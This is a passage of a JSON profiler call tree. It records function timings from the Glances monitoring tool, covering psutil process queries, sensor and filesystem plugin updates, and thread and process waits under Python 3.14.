\"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019239964312874, \"l1127\": 0.0020019239964312874},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001590997679159, \"l1116\": 0.002001590997679159},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996155006054323, \"l836\": 0.001996155006054323},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996155006054323, \"l1593\": 0.001996155006054323},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996155006054323, \"l1796\": 0.001996155006054323},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001996,\"attributes\": {\"l682\": 0.001996155006054323},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999663000286091, \"l687\": 0.002000407999730669, \"l680\": 0.001999255000555422},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000407999730669, \"l748\": 0.002000407999730669},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000407999730669, \"l1593\": 0.002000407999730669},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000407999730669, \"l1751\": 0.002000407999730669},\"children\": [{\"identifier\": \"decode\\u0000<frozen codecs>\\u0000322\",\"time\": 0.002000,\"attributes\": {\"cIncrementalDecoder\": 0.002000407999730669, \"l325\": 0.002000407999730669},\"children\": [{\"identifier\": \"utf_8_decode\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999255000555422, \"l1593\": 0.001999255000555422},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006001020999974571, \"l382\": 0.006001020999974571},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016139969811775, \"l1127\": 0.0020016139969811775},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016139969811775, \"l1593\": 0.0020016139969811775},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016139969811775, \"l1835\": 0.0020016139969811775},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.002002,\"attributes\": {\"l1\": 0.0020016139969811775},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000889999209903, \"l1138\": 0.0020000889999209903},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000889999209903, \"l1593\": 0.0020000889999209903},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000889999209903, \"l1880\": 0.0020000889999209903},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199915799748851, \"l687\": 0.00199915799748851},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199915799748851, \"l748\": 0.00199915799748851},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199915799748851, \"l1593\": 0.00199915799748851},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199915799748851, \"l1751\": 0.00199915799748851},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020029340012115426, \"l1064\": 0.0020029340012115426},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002003,\"attributes\": {\"l1682\": 0.0020029340012115426},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002003,\"attributes\": {\"l538\": 0.0020029340012115426},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007996752996405121, \"l639\": 0.007996752996405121},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007996752996405121, \"l314\": 0.007996752996405121},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007996752996405121, \"l341\": 0.002001631997700315, \"l347\": 0.005995120998704806},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001623\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001631997700315, \"l1628\": 0.002001631997700315},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.005995,\"attributes\": {\"cProcess\": 0.005995120998704806, \"l394\": 0.005995120998704806},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.005995,\"attributes\": {\"cProcess\": 0.005995120998704806, \"l1593\": 0.005995120998704806},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.005995,\"attributes\": {\"cProcess\": 0.005995120998704806, \"l1857\": 0.005995120998704806},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.005995,\"attributes\": {\"cProcess\": 0.005995120998704806, \"l1593\": 0.005995120998704806},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.005995,\"attributes\": {\"cProcess\": 0.005995120998704806, \"l375\": 0.005995120998704806},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.005995,\"attributes\": {\"cProcess\": 0.005995120998704806, \"l1683\": 0.004000150001957081, \"l1689\": 0.0019949709967477247},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004000,\"attributes\": {\"l730\": 0.004000150001957081},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004000,\"attributes\": {\"l718\": 0.004000150001957081},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002003,\"attributes\": {\"l682\": 0.0020030400046380237},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.001995,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002001,\"attributes\": {\"l824\": 0.002001362998271361},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002001,\"attributes\": {\"l773\": 0.002001362998271361},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002679,\"attributes\": {\"cGlancesProcesses\": 0.002679111006727908, \"l679\": 0.002679111006727908},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002679,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001319,\"attributes\": {\"cGlancesProcesses\": 0.0013190419995225966, \"l689\": 0.0013190419995225966},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001319,\"attributes\": {\"l589\": 0.0013190419995225966},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001319,\"attributes\": {\"l584\": 0.0013190419995225966},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001319,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020003579993499443, \"l155\": 0.0020003579993499443},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.0020003579993499443, \"l711\": 0.0020003579993499443},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002000,\"attributes\": {\"l71\": 0.0020003579993499443},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.002000,\"attributes\": {\"l47\": 0.0020003579993499443},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000602\",\"time\": 0.002000,\"attributes\": {\"cCounter\": 0.0020003579993499443, \"l614\": 0.0020003579993499443},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000679\",\"time\": 0.002000,\"attributes\": {\"cCounter\": 0.0020003579993499443, \"l707\": 0.0020003579993499443},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007999,\"attributes\": {\"cProgramlistPlugin\": 0.007999420995474793, \"l678\": 0.007999420995474793},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007999,\"attributes\": {\"cProgramlistPlugin\": 0.007999420995474793, \"l633\": 0.004003803995146882, \"l656\": 0.003995617000327911},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.002002279994485434, \"l621\": 0.002002279994485434},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020015240006614476, \"l621\": 0.0020015240006614476},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/__init__.py\\u0000179\",\"time\": 0.002002,\"attributes\": {\"cGpuPlugin\": 0.002001689004828222, \"l191\": 0.002001689004828222},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002002,\"attributes\": {\"cGpuPlugin\": 0.002001689004828222, \"l885\": 0.002001689004828222},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.002003,\"attributes\": {\"cAmpsPlugin\": 0.002002581000851933, \"l1278\": 0.002002581000851933},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002003,\"attributes\": {\"l1295\": 0.002002581000851933},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/amps/__init__.py\\u000050\",\"time\": 0.002003,\"attributes\": {\"cAmpsPlugin\": 0.002002581000851933, \"l65\": 0.002002581000851933},\"children\": [{\"identifier\": \"time_until_refresh\\u0000/home/nicolargo/dev/glances/glances/amps/amp.py\\u0000134\",\"time\": 0.002003,\"attributes\": {\"cAmp\": 0.002002581000851933, \"l136\": 0.002002581000851933},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009995,\"attributes\": {\"cProcesslistPlugin\": 0.009995406995585654, \"l677\": 0.002001370994548779, \"l678\": 0.007994036001036875},\"children\": [{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.002001,\"attributes\": {\"l132\": 0.002001370994548779},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005999,\"attributes\": {\"cProcesslistPlugin\": 0.005998590000672266, \"l633\": 0.005998590000672266},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.005999,\"attributes\": {\"cProcesslistPlugin\": 0.005998590000672266, \"l621\": 0.005998590000672266},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.004000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.315485,\"attributes\": {\"cSensorsPlugin\": 0.293281313002808, \"l1278\": 0.3154846280012862, \"cFsPlugin\": 0.01996408199920552, \"cWifiPlugin\": 0.0022392329992726445},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.315485,\"attributes\": {\"l1295\": 0.3154846280012862},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000149\",\"time\": 0.293281,\"attributes\": {\"cSensorsPlugin\": 0.293281313002808, \"l159\": 0.0023257080028997734, \"l157\": 0.29095560499990825},\"children\": [{\"identifier\": \"submit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000199\",\"time\": 0.002326,\"attributes\": {\"cThreadPoolExecutor\": 0.0023257080028997734, \"l215\": 0.0023257080028997734},\"children\": [{\"identifier\": \"_adjust_thread_count\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000219\",\"time\": 0.002326,\"attributes\": {\"cThreadPoolExecutor\": 0.0023257080028997734, \"l237\": 0.0023257080028997734},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000974\",\"time\": 0.002326,\"attributes\": {\"cThread\": 0.0023257080028997734, \"l1010\": 0.0023257080028997734},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000651\",\"time\": 0.002326,\"attributes\": {\"cEvent\": 0.0023257080028997734, \"l669\": 0.0023257080028997734},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000337\",\"time\": 0.002326,\"attributes\": {\"cCondition\": 0.0023257080028997734, \"l369\": 0.0023257080028997734},\"children\": [{\"identifier\": \"lock.acquire\\u0000<built-in>\\u00000\",\"time\": 0.002326,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002326,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/_base.py\\u0000666\",\"time\": 0.290956,\"attributes\": {\"cThreadPoolExecutor\": 0.29095560499990825, \"l667\": 0.29095560499990825},\"children\": [{\"identifier\": \"shutdown\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000254\",\"time\": 0.290956,\"attributes\": {\"cThreadPoolExecutor\": 0.29095560499990825, \"l273\": 0.29095560499990825},\"children\": [{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u00001096\",\"time\": 0.290956,\"attributes\": {\"cThread\": 0.29095560499990825, \"l1132\": 0.29095560499990825},\"children\": [{\"identifier\": \"_ThreadHandle.join\\u0000<built-in>\\u00000\",\"time\": 0.290956,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.090780,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.200176,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.019964,\"attributes\": {\"cFsPlugin\": 0.01996408199920552, \"l131\": 0.01996408199920552},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.019964,\"attributes\": {\"cFsPlugin\": 0.01996408199920552, \"l182\": 0.01996408199920552},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.019964,\"attributes\": {\"l620\": 0.0017291359981754795, \"l630\": 0.0044967010035179555, \"l631\": 0.013738244997512084},\"children\": [{\"identifier\": \"Queue\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000100\",\"time\": 0.001729,\"attributes\": {\"cForkContext\": 0.0017291359981754795, \"l103\": 0.0017291359981754795},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/queues.py\\u000035\",\"time\": 0.001729,\"attributes\": {\"cQueue\": 0.0017291359981754795, \"l40\": 0.0017291359981754795},\"children\": [{\"identifier\": \"Pipe\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u0000550\",\"time\": 0.001729,\"attributes\": {\"l561\": 0.0017291359981754795},\"children\": [{\"identifier\": \"pipe\\u0000<built-in>\\u00000\",\"time\": 0.001729,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001729,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002436,\"attributes\": {\"cForkProcess\": 0.0024363670017919503, \"l121\": 0.0024363670017919503},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002436,\"attributes\": {\"l281\": 0.0024363670017919503},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002436,\"attributes\": {\"cPopen\": 0.0024363670017919503, \"l20\": 0.0024363670017919503},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002436,\"attributes\": {\"cPopen\": 0.0024363670017919503, \"l70\": 0.0024363670017919503},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002436,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.007690,\"attributes\": {\"cForkProcess\": 0.007690165999520104, \"l156\": 0.007690165999520104},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.007690,\"attributes\": {\"cPopen\": 0.007690165999520104, \"l41\": 0.007690165999520104},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.007690,\"attributes\": {\"l1165\": 0.007690165999520104},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.007690,\"attributes\": {\"cPollSelector\": 0.007690165999520104, \"l398\": 0.007690165999520104},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.007690,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.007690,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002060,\"attributes\": {\"cForkProcess\": 0.0020603340017260052, \"l121\": 0.0020603340017260052},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002060,\"attributes\": {\"l281\": 0.0020603340017260052},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002060,\"attributes\": {\"cPopen\": 0.0020603340017260052, \"l20\": 0.0020603340017260052},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002060,\"attributes\": {\"cPopen\": 0.0020603340017260052, \"l70\": 0.0020603340017260052},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002060,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.006048,\"attributes\": {\"cForkProcess\": 0.006048078997991979, \"l156\": 0.006048078997991979},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.006048,\"attributes\": {\"cPopen\": 0.006048078997991979, \"l41\": 0.006048078997991979},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.006048,\"attributes\": {\"l1165\": 0.006048078997991979},\"children\": [{\"identifier\": 